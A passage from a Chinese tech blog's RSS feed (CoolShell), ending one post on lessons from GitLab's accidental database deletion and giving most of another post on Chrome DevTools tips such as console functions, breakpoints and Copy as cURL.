30px;\">其三、像使用mv而不rm，搞一个checklist和一个更重的流程，更糟糕。这里的逻辑很简单，因为，1）这些规则需要人去学习和记忆，本质上来说，你本来就不相信人，所以你搞出了一些规则和流程，而这些规则和流程的执行，又依赖于人，换汤不换药，2）另外，<strong>写在纸面上的东西都是不可执行的，可以执行的就是只有程序，所以，为什么不把checklist和流程写成代码呢</strong>？（你可能会说程序也会犯错，是的，程序的错误是consistent，而人的错误是inconsistent）</p>\n<p>最关键的是，<strong>数据丢失有各种各样的情况，不单单只是人员的误操作，比如，掉电、磁盘损坏、中病毒等等，在这些情况下，你设计的那些想流程、规则、人肉检查、权限系统、checklist等等统统都不管用了，这个时候，你觉得应该怎么做呢？是的，你会发现，你不得不用更好的技术去设计出一个高可用的系统！别无它法。</strong></p>\n<h4>关于备份</h4>\n<p>一个系统是需要做数据备份的，但是，你会发现，<strong>Gitlab这个事中，就算所有的备份都可用，也不可避免地会有数据的丢失，或是也会有很多问题</strong>。理由如下：</p>\n<p style=\"padding-left: 30px;\">1）备份通常来说都是周期性的，所以，如果你的数据丢失了，从你最近的备份恢复数据里，从备份时间到故障时间的数据都丢失了。</p>\n<p style=\"padding-left: 30px;\">2）备份的数据会有版本不兼容的问题。比如，在你上次备份数据到故障期间，你对数据的scheme做了一次改动，或是你对数据做了一些调整，那么，你备份的数据就会和你线上的程序出现不兼容的情况。</p>\n<p style=\"padding-left: 30px;\">3）有一些公司或是银行有灾备的数据中心，但是灾备的数据中心没有一天live过。等真正灾难来临需要live的时候，你就会发现，各种问题让你live不起来。你可以读一读几年前的这篇报道好好感受一下《<a href=\"http://finance.sina.com.cn/money/bank/20140804/091219903553.shtml\" target=\"_blank\">以史为鉴 宁夏银行7月系统瘫痪最新解析</a>》</p>\n<p>所以，在灾难来临的时候，你会发现你所设计精良的“备份系统”或是“灾备系统”就算是平时可以工作，但也会导致数据丢失，而且可能长期不用的备份系统很难恢复（比如应用、工具、数据的版本不兼容等问题）。</p>\n<p>我之前写过一篇《<a href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\">分布式系统的事务处理</a>》，你还记得下面这张图吗？看看 Data Loss 那一行的，在Backups, Master/Slave 和 Master/Master的架构下，都是会丢的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10942\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg\" alt=\"\" width=\"566\" height=\"255\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg 566w, https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter-300x135.jpg 300w\" sizes=\"(max-width: 566px) 100vw, 566px\" /></p>\n<p>所以说，<strong>如果你要让你的备份系统随时都可以用，那么你就要让它随时都Live着</strong>，而随时都Live着的多结点系统，基本上就是一个分布式的高可用的系统。因为<strong>，数据丢失的原因有很多种，比如掉电、磁盘损坏、中病毒等等，而那些流程、规则、人肉检查、权限系统、checklist等等都只是让人不要误操作，都不管用，这个时候，你不得不用更好的技术去设计出一个高可用的系统！别无它法。（重要的事，得再说一篇）</strong></p>\n<p>另外，你可以参看我的另一篇《<a href=\"https://coolshell.cn/articles/17459.html\" target=\"_blank\">关于高可用系统</a>》，这篇文章中以MySQL为例，数据库的replication也只能达到 两个9。</p>\n<p><strong>AWS 的 S3 的的高可用是4个加11个9的持久性（</strong>所谓11个9的持久性durability，AWS是这样定义的，如果你存了1万个对象，那么丢一个的时间是1000万年<strong>），这意味着，不仅仅只是硬盘坏，机器掉电，整个机房挂了，其保证可以承受有两个设施的数据丢失，数据还是可用的。试想，如果你把数据的可用性通过技术做到了这个份上，那么，你还怕被人误删一个结点上的数据吗？</strong></p>\n<h5>非技术方面</h5>\n<p><strong>故障反思</strong></p>\n<p>一般说来，故障都需要反思，在Amazon，S2以上的故障都需要写COE（Correction of Errors），其中一节就是需要Ask 5 Whys，我发现在Gitlab的故障回顾的blog中第一段中也有说要在今天写个Ask 5 Whys。关于Ask 5 Whys，其实并不是亚马逊的玩法，这还是算一个业内常用的玩法，也就是说不断的为自己为为什么，直到找到问题的概本原因，这会逼着所有的当事人去学习和深究很多东西。在Wikipedia上有相关的词条 <a href=\"https://en.wikipedia.org/wiki/5_Whys\" target=\"_blank\">5 Whys</a>，其中罗列了14条规则：</p>\n<ol>\n<li>你需要找到正确的团队来完成这个故障反思。</li>\n<li>使用纸或白板而不是电脑。</li>\n<li>写下整个问题的过程，确保每个人都能看懂。</li>\n<li>区别原因和症状。</li>\n<li>特别注意因果关系。</li>\n<li>说明Root Cause以及相关的证据。</li>\n<li>5个为什么的答案需要是精确的。</li>\n<li>寻找问题根源的步骤，而不是直接跳到结论。</li>\n<li>要基础客观的事实、数据和知识。</li>\n<li>评估过程而不是人。</li>\n<li>千万不要把“人为失误”或是“工作不注意”当成问题的根源。</li>\n<li>培养信任和真诚的气氛和文化。</li>\n<li>不断的问“为什么”直到问题的根源被找到。这样可以保证同一个坑不会掉进去两次。<sup id=\"cite_ref-7\" class=\"reference\"></sup></li>\n<li>当你给出“为什么”的答案时，你应该从用户的角度来回答。</li>\n</ol>\n<p><strong>工程师文化</strong></p>\n<p>上述的这些观点，其实，我在我的以住的博客中都讲过很多遍了，你可以参看《<a href=\"https://coolshell.cn/articles/17497.html\" target=\"_blank\">什么是工程师文化？</a>》以及《<a href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\">开发团队的效率</a>》。其实，说白了就是这么一个事——<strong>如果你是一个技术公司，你就会更多的相信技术而不是管理。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题</strong>。</p>\n<p>这个道理很简单，<strong>数据丢失有各种各样的情况，不单单只是人员的误操作，比如，掉电、磁盘损坏、中病毒等等，在这些情况下，你设计的那些流程、规则、人肉检查、权限系统、checklist等等统统都不管用，这个时候，你觉得应该怎么做呢？是的，你会发现，你不得不用更好的技术去设计出一个高可用的系统！别无它法。（重要的事得说三遍）</strong></p>\n<p><strong>事件公开</strong></p>\n<p>很多公司基本上都是这样的套路，首先是极力掩盖，如果掩盖不了了就开始撒谎，撒不了谎了，就“文过饰非”、“避重就轻”、“转移视线”。然而，面对危机的最佳方法就是——“多一些真诚，少一些套路”，<strong>所谓的“多一些真诚”的最佳实践就是——“透明公开所有的信息”</strong>，Gitlab此次的这个事给大家树立了非常好的榜样。AWS也会把自己所有的故障和细节都批露出来。</p>\n<p><strong>事情本来就做错了，而公开所有的细节，会让大众少很多猜测的空间，有利于抵制流言和黑公关，同时，还会赢得大众的理解和支持</strong>。看看Gitlab这次还去YouTube上直播整个修复过程，是件很了不起的事，大家可以到他们的blog上看看，对于这样的透明和公开，一片好评。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17680.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>67</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Chrome开发者工具的小技巧</title>\n\t\t<link>https://coolshell.cn/articles/17634.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17634.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 19 Jan 2017 12:25:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Chrome]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17634</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Chrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下这篇文章罗列一下可能你所不知道的功能，有的功能可能...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17634.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Chrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下这篇文章罗列一下可能你所不知道的功能，有的功能可能会比较实用，有的则不一定，也欢迎大家补充交流。</p>\n<p>话不多话，我们开始。</p>\n<h4>代码格式化</h4>\n<p>有很多css/js的代码都会被 minify 掉，你可以点击代码窗口左下角的那个 <strong><code>{ }</code></strong>  标签，chrome会帮你给格式化掉。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17640\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code.gif\" alt=\"\" width=\"707\" height=\"319\" /></p>\n<p><span id=\"more-17634\"></span></p>\n<h4>强制DOM状态</h4>\n<p>有些HTML的DOM是有状态的，比如&lt;a&gt; 标签，其会有 active，hover， focus，visited这些状态，有时候，我们的CSS会来定关不同状态的样式，在分析网页查看网页上DOM的CSS样式时，我们可以点击CSS样式上的 <strong><code>:hov</code></strong> 这个小按钮来强制这个DOM的状态。</p>\n<p>&nbsp;</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17641\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/state.gif\" alt=\"\" width=\"853\" height=\"331\" /></p>\n<p>&nbsp;</p>\n<h4>动画</h4>\n<p>现在的网页上都会有一些动画效果。在Chrome的开发者工具中，通过右上角的菜单中的 <code>More Tools</code> =&gt; <code>Animations</code> 呼出相关的选项卡。于是你就可以慢动作播放动画了（可以点选 <code>25%</code> 或 <code>10%</code>），然后，Chrome还可以帮你把动画录下来，你可以拉动动再画的过程，甚至可以做一些简单的修改。</p>\n<p>&nbsp;</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17637\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/animation.gif\" width=\"442\" height=\"723\" /></p>\n<h4>直接编辑网页</h4>\n<p>在你的 console 里 输入下面的命令：</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">document.designMode = &quot;on&quot; </code></p>\n<p>于是你就可以直接修改网页上的内容了。</p>\n<p>P.S. 下面这个抓屏中还演示了一个如何清空console的示例。你可以输入 clear() 或是 按 <code>Ctrl+L</code>（Windows下），<code>CMD + K</code> (Mac下)</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17642\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/editor.gif\" width=\"800\" height=\"328\" /></p>\n<p>&nbsp;</p>\n<h4>网络限速</h4>\n<p>你可以设置你的网络的访问速度来模拟一个网络很慢的情况。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17644\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/custom-network-throttling-profiles.gif\" alt=\"\" width=\"707\" height=\"319\" /></p>\n<p>&nbsp;</p>\n<h4>复制HTTP请求</h4>\n<p>这个是我很喜欢 的一个功能，你可以在 network选项卡里，点击 XHR 过滤相关的Ajax请求，然后在相关的请求上点鼠标右键，在菜单中选择： <code>Copy</code> =&gt; <code>Copy as cURL</code>，然后就可以到你的命令行下去 执行 <code>curl</code> 的命令了。这个可以很容易做一些自动化的测试。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17645\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/curl.gif\" width=\"800\" height=\"328\" /></p>\n<p>&nbsp;</p>\n<p><strong>友情提示：这个操作有可能会把你的个人隐私信息复制出去，比如你个人登录后的cookie。</strong></p>\n<h4>抓个带手机的图</h4>\n<p>这个可能有点无聊了，不过我觉得挺有意思的。</p>\n<p>在device显示中，先选择一个手机，然后在右上角选 <code>Show Device Frame</code>，然后你就看到手机的样子了，然后再到那个菜中中选 Capture snapshot，就可以抓下一个有手机样子的截图了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17646\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/device.gif\" width=\"700\" height=\"404\" /></p>\n<p>我抓的图如下（当然，不是所有的手机都有frame的）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17647 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-148x300.png\" width=\"148\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-148x300.png 148w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-768x1559.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-505x1024.png 505w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-133x270.png 133w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1.png 780w\" sizes=\"(max-width: 148px) 100vw, 148px\" /></p>\n<p>&nbsp;</p>\n<h4>设置断点</h4>\n<p>除了给Javascript的源代码上设置断点调试，你还可以：</p>\n<h5>给DOM设置断点</h5>\n<p>选中一个DOM，然后在右键菜单中选 Break on &#8230; 你可以看到如下三个选项：</p>\n<h4><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17665\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-1024x708.png\" width=\"500\" height=\"345\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-1024x708.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-300x207.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-768x531.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-391x270.png 391w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_.png 1152w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></h4>\n<h5>给XHR和Event Lisener设置断点</h5>\n<p>在 Sources 面页中，你可以看到右边的那堆break points中，除了上面我们说的给DOM设置断点，你还可以给XHR和Event Listener设置断点，载图如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17666\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-834x1024.png\" width=\"400\" height=\"491\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-834x1024.png 834w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-244x300.png 244w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-768x943.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-220x270.png 220w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints.png 906w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<h4>关于Console中的技巧</h4>\n<h5>DOM操作</h5>\n<ul>\n<li>chrome会帮你buffer 5个你查看过的DOM对象，你可以直接在Console中用 $0, $1, $2, $3, $4来访问。</li>\n</ul>\n<ul>\n<li>你还可以使用像jQuery那样的语法来获得DOM对象，如：<code>$(\"#mydiv\")</code></li>\n</ul>\n<ul>\n<li>你还可使用 <code>$$(\".class\")</code> 来选择所有满足条件的DOM对象。</li>\n</ul>\n<ul>\n<li>你可以使用 <code>getEventListeners($(\"selector\"))</code> 来查看某个DOM对象上的事件（如下图所示）。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17656\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded.png\" width=\"642\" height=\"223\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded.png 842w, https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded-300x104.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded-768x267.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded-604x210.png 604w\" sizes=\"(max-width: 642px) 100vw, 642px\" /></p>\n<ul>\n<li>你还可以使用 <code>monitorEvents($(\"selector\"))</code> 来监控相关的事件。比如：</li>\n</ul>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">monitorEvents(document.body, &quot;click&quot;);</code></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-17661\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-1024x378.png\" alt=\"\" width=\"640\" height=\"236\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-1024x378.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-300x111.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-768x283.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-604x223.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events.png 1302w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<h5>Console中的一些函数</h5>\n<p><strong>1）monitor函数</strong></p>\n<p>使用 monitor函数来监控一函数，如下面的示例</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17657 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/monitor-300x112.png\" width=\"300\" height=\"112\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/monitor-300x112.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-604x226.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/monitor.png 706w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p><strong>2）copy函数</strong></p>\n<p>copy函数可以把一个变量的值copy到剪贴板上。</p>\n<p><strong>3）inspect函数</strong></p>\n<p>inspect函数可以让你控制台跳到你需要查看的对象上。如：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-17662\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/inspect-1024x459.png\" alt=\"\" width=\"640\" height=\"287\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/inspect-1024x459.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/inspect-300x135.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/inspect-768x345.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/inspect-602x270.png 602w, https://coolshell.cn/wp-content/uploads/2017/01/inspect.png 1364w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>更多的函数请参数官方文档 &#8211; <a href=\"https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference\" target=\"_blank\">Using the Console / Command Line Reference</a></p>\n<h5>Console的输出</h5>\n<p>我们知道，除了<code>console.log</code>之外，还有<code>console.debug</code>，<code>console.info</code>，<code>console.warn</code>，<code>console.error</code>这些不同级别的输出。另外一个鲜为人知的功能是，<code>console.log</code>中，你还可以对输出的文本加上css的样式，如下所示：</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">console.log(&quot;%c左耳朵&quot;, &quot;font-size:90px;color:#888&quot;)</code></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17651 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/console.log_-300x92.png\" width=\"300\" height=\"92\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/console.log_-300x92.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/console.log_-768x236.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/console.log_-604x185.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/console.log_.png 782w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p>于是，你可以定义一些相关的log函数，如：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">console.todo = function( msg){\n  console.log( &#039;%c%s %s %s&#039;, &#039;font-size:20px; color:yellow; background-color: blue;&#039;, &#039;--&#039;, msg, &#039;--&#039;);\n}\nconsole.important = function( msg){\n  console.log( &#039;%c%s %s %s&#039;, &#039;font-size:20px; color:brown; font-weight: bold; text-decoration: underline;&#039;, &#039;--&#039;, msg, &#039;--&#039;);\n}</pre>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17652\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-1024x411.png\" width=\"500\" height=\"201\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-1024x411.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-300x121.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-768x309.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-604x243.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_.png 1140w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>关于console.log中的格式化，你可以参看如下表格：</p>\n<table class=\"t1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"td1\" valign=\"middle\">指示符</td>\n<td class=\"td2\" valign=\"middle\">输出</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%s</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个字符串变量。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%i or %d</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个整型变量的值。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%f</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个浮点数变量的值。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%o</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个DOM对象。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%O</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个Javascript对象。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%c</td>\n<td class=\"td4\" valign=\"top\">为后面的字符串加上CSS样式</td>\n</tr>\n</tbody>\n</table>\n<p>&nbsp;</p>\n<p>除了console.log打印js的数组，你还可以使用console.table来打印，如下所示：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var pets = [\n  { animal: &#039;Horse&#039;, name: &#039;Pony&#039;, age: 23 },\n  { animal: &#039;Dog&#039;, name: &#039;Snoopy&#039;, age: 13 },\n  { animal: &#039;Cat&#039;, name: &#039;Tom&#039;, age: 18 },\n  { animal: &#039;Mouse&#039;, name: &#039;Jerry&#039;, age: 12}\n];\nconsole.table(pets)</pre>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17653\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/console.table_-1024x438.png\" width=\"500\" height=\"214\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/console.table_-1024x438.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_-300x128.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_-768x328.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_-604x258.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_.png 1142w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>&nbsp;</p>\n<h4>关于console对象</h4>\n<ul>\n<li>console对象除了上面的打日志的功能，其还有很多功能，比如：</li>\n<li>console.trace() 可以打出js的函数调用栈</li>\n<li>console.time() 和 console.timeEnd() 可以帮你计算一段代码间消耗的时间。</li>\n<li>console.profile() 和 console.profileEnd() 可以让你查看CPU的消耗。</li>\n<li>console.count() 可以让你看到相同的日志当前被打印的次数。</li>\n<li>console.assert(expression, object) 可以让你assert一个表达式</li>\n</ul>\n<p>这些东西都可以看看<a href=\"https://developers.google.com/web/tools/chrome-devtools/console/console-reference\" target=\"_blank\">Google的Console API的文档</a>。</p>\n<p>其实，还有很多东西，你可以参看Google的官方文档 &#8211; <a href=\"https://developers.google.com/web/tools/chrome-devtools/\" target=\"_blank\">Chrome DevTools</a></p>\n<h4>关于快捷键</h4>\n<p>点击在 DevTools的右上角的那三个坚排的小点，你会看到一个菜单，点选 <code>Shortcuts</code>，你就可以看到所有的快捷键了</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-17669\" src=\"https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-1024x466.png\" alt=\"\" width=\"640\" height=\"291\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-1024x466.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-300x137.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-768x350.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-593x270.png 593w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts.png 1898w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>如果你知道更多，也欢迎补充！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a 